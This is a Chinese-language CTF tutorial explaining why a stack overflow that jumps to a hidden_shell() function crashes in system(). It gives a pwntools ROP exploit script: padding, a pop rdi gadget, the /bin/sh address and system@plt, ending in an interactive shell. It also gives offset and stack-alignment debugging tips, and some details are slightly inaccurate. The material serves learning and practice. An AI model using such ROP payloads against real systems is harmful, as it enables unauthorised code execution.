讲师中心 微信公众号
AI工具推荐 视频效率加速

如何利用缓冲区溢出调用隐藏函数并稳定获取 shell

胖涛姑娘_5613

胖涛姑娘_5613

发布时间:2026-10-23 11:57:09

|

471人浏览过

|

来源于php中文网

原创

如何利用缓冲区溢出调用隐藏函数并稳定获取 shell

本文详解在 CTF 中通过精确控制返回地址触发隐藏函数 hidden_shell() 的完整流程,涵盖 GDB 调试关键观察、栈布局分析、ROP 链构造要点,并指出导致 SIGSEGV 的根本原因及稳定化解决方案。

本文详解在 ctf 中通过精确控制返回地址触发隐藏函数 hidden_shell() 的完整流程,涵盖 gdb 调试关键观察、栈布局分析、rop 链构造要点,并指出导致 sigsegv 的根本原因及稳定化解决方案。

在典型的栈溢出利用中,成功跳转至目标函数(如 hidden_shell)仅是第一步;后续能否稳定执行 /bin/sh,取决于该函数内部是否安全调用 system(),以及当前运行环境是否满足其依赖条件。

从你的 GDB 日志可见:
✅ 控制流已成功劫持——vulnerable_log() 返回后跳入 hidden_shell()(0x00000000004015b6);
✅ hidden_shell() 确实调用了 system("/bin/sh")(见 do_system 地址与硬编码字符串 0x402113 "/bin/sh");
❌ 但最终触发 SIGSEGV,说明 system() 执行时发生非法内存访问——最常见原因是 libc 函数调用约定被破坏,或 system() 所需的 GOT/PLT 解析失败(尤其在无 PIE + RELRO 全开环境下)。

关键问题定位:为什么 system("/bin/sh") 崩溃?

do_system 在 ../sysdeps/posix/system.c:148 崩溃,典型场景包括:

  • 栈对齐失效:x86_64 下 system() 要求栈指针(rsp)16 字节对齐,而溢出后 rsp 可能为奇数偏移;
  • 寄存器污染:hidden_shell() 返回前未清理 rdi/rsi 等寄存器,导致 system() 将错误值当作参数;
  • /bin/sh 字符串不可读:若程序启用 NX(DEP),且 /bin/sh 存于 .rodata 或 .data 段但该段不可执行——但此处崩溃在 do_system 内部,更可能是调用链问题;
  • libc 版本兼容性:CTF 题目常使用定制 libc,system 的 gadget 或依赖符号可能缺失。

正确利用步骤(推荐方案)

避免依赖不稳定的 hidden_shell() 内部逻辑,应手动构造 ROP 链,显式调用 system() 并传入 /bin/sh 地址:

from pwn import *

# 假设已通过 checksec 确认:no PIE, no stack canary, NX enabled
elf = ELF('./zerochain')
libc = ELF('./libc.so.6')  # 或通过泄露动态获取

# 泄露 libc 地址(例如通过 puts@got.plt)→ 计算 system offset
# 此处简化:假设已知 system_addr = libc_base + libc.sym['system']
# 且 binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))

# 构造 ROP 链:确保 rsp 16-byte aligned before system()
rop = ROP(elf)
rop.call(elf.sym['system'], [elf.bss() + 0x100])  # 将 /bin/sh 写入可写段再调用
# 或更稳妥:使用 libc 中的 '/bin/sh'(需先泄露 libc)

# 实际 payload 示例(含菜单选择 + 溢出)
io = process('./zerochain')
io.sendline(b'4')  # 进入 Vulnerable Log

# padding + ret addr to pop rdi; ret + /bin/sh addr + system addr
payload = b'A' * 132  # 实际偏移需用 cyclic + core dump 精确计算
payload += p64(0x401234)  # pop rdi; ret (gadget from elf or libc)
payload += p64(0x402113)  # address of "/bin/sh" in binary
payload += p64(0x4011a0)  # address of system@plt (or resolved libc system)

io.sendline(payload)
io.interactive()  # 应获得稳定 shell

注意事项与调试技巧

  • ✅ 精准计算偏移量:勿凭经验猜测 123+9。使用 cyclic 200 → 触发 crash → cyclic -l $(rax) 确定覆盖 rip 的确切字节数;
  • ✅ 验证栈对齐:在 hidden_shell 断点处执行 p $rsp % 16,若非 0,则在 ROP 链开头插入 ret gadget(0xc3)垫片;
  • ✅ 关闭 ASLR 本地调试:set disable-randomization off in GDB,或 echo 0 | sudo tee /proc/sys/kernel/randomize_va_space;
  • ⚠️ 警惕 Full RELRO:若题目启用 Full RELRO,无法改写 GOT 表,必须使用 ROP + libc leak;
  • ? 检查 hidden_shell 反汇编:disas hidden_shell 查看是否含 call system@plt 或直接 call qword ptr [rip + offset] —— 若为后者,需确保对应 GOT 条目已解析(否则会跳转到 0x0)。

总结

你已跨越最关键的控制流劫持阶段,当前 SIGSEGV 是典型“利用链未闭环”信号。不要止步于跳入 hidden_shell,而应将其视为一个可控的代码重用起点,通过 ROP 精确调度 system() 并保障调用环境合规。 结合 libc 泄露、栈对齐修复与 gadget 复用,即可实现稳定 shell 获取——这也是现代二进制利用的核心范式。

本站声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热门AI工具

更多
VibeKnow
VibeKnow Hot

一款AI视频创作工具,主要用于全球首个AI知识视频创作平台,文档、文章、网页,一键生成视频,适合需要提升相关任务效率的用户。

蛙蛙写作

一款AI论文写作工具,主要用于超级AI智能写作助手,适合需要提升相关任务效率的用户。

WorkBuddy

一款AI办公效率工具,主要用于腾讯云推出的AI原生桌面智能体工作台,适合需要提升相关任务效率的用户。

火山引擎

火山引擎是一款面向企业的云计算与AI服务平台。

UP简历
UP简历 Hot

一款AI办公效率工具,主要用于基于AI技术的免费在线简历制作工具,适合需要提升相关任务效率的用户。

Laper
Laper Hot

Laper是专为编剧、导演和制片人推出的 AI 原生剧本创作工具。

立刻MV
立刻MV Hot

立刻MV是一款AI文本写作工具,AI 音乐视频(MV)创作工具。

豆包大模型

豆包大模型是一款由字节跳动推出的企业级大语言模型服务平台。

DeepSeek

DeepSeek是一款面向对话、写作、编程和推理场景的AI大模型工具。

相关专题

更多
Gradle插件开发入门教程
Gradle插件开发入门教程

本专题介绍Gradle插件开发的基本流程,涵盖插件类编写、自定义任务注册、扩展参数设计和插件应用方法,帮助你理解插件如何组织构建逻辑,减少多个项目之间的重复配置。

0

2026.10.22

Gradle Wrapper配置教程
Gradle Wrapper配置教程

本专题介绍Gradle Wrapper的基本作用,涵盖文件组成、生成方法、版本配置和任务调用,帮助你理解项目如何使用指定的Gradle版本,减少不同开发环境带来的构建差异。

0

2026.10.22

Golangci-lint检查器使用教程
Golangci-lint检查器使用教程

本专题整理Golangci-lint常用Linters的用途与配置方法,覆盖错误处理、无效代码、安全、复杂度、命名和依赖检查,帮助项目合理选规则。

0

2026.10.22

Gradle怎么构建Java项目
Gradle怎么构建Java项目

本专题介绍Gradle Java项目构建方法,涵盖Java插件配置、依赖声明、源码编译、测试执行和打包检查,帮助你理解各阶段的任务关系,逐步完成项目构建。

0

2026.10.22

PHP时间戳漏洞修复教程
PHP时间戳漏洞修复教程

本专题汇总PHP常见时间戳漏洞,包括2038年溢出、时区漂移、时间戳伪造、重放攻击、时间盲注与日志审计失效等,并给出升级64位环境、使用 DateTimeImmutable、统一UTC、严格超时校验、预处理绑定、hash_equals 比对等修复方案,帮助开发者快速排查和加固时间相关代码。

0

2026.10.22

Golangci-lint配置文件与规则设置
Golangci-lint配置文件与规则设置

本专题聚焦Golangci-lint YAML配置文件,讲清运行参数、规则启停、目录排除、问题过滤及严重级别设置,便于团队统一检查标准。

0

2026.10.22

Golangci-lint安装与入门教程
Golangci-lint安装与入门教程

本专题讲解Golangci-lint的安装、初始化、基础命令和首次代码检查,覆盖本地环境、Docker及多平台用法,帮助Go开发者快速上手。

0

2026.10.22

PHP2Shell高危漏洞修复教程
PHP2Shell高危漏洞修复教程

PHP2Shell漏洞是什么,哪些PHP版本和运行环境会受到影响,服务器应该如何检测与修复?本专题提供版本自查脚本、Linux与Docker升级命令、PHP-FPM和Apache排查步骤,以及修复验证、临时缓解和应急响应方案。

60

2026.10.22

剧云人物设定与关系管理教程
剧云人物设定与关系管理教程

本专题介绍剧云人物设定与关系管理,讲解角色小传、性格职业、人物目标、背景资料和关系网络的创建及维护方法。

0

2026.10.22

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
热门推荐
/
最新课程
关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn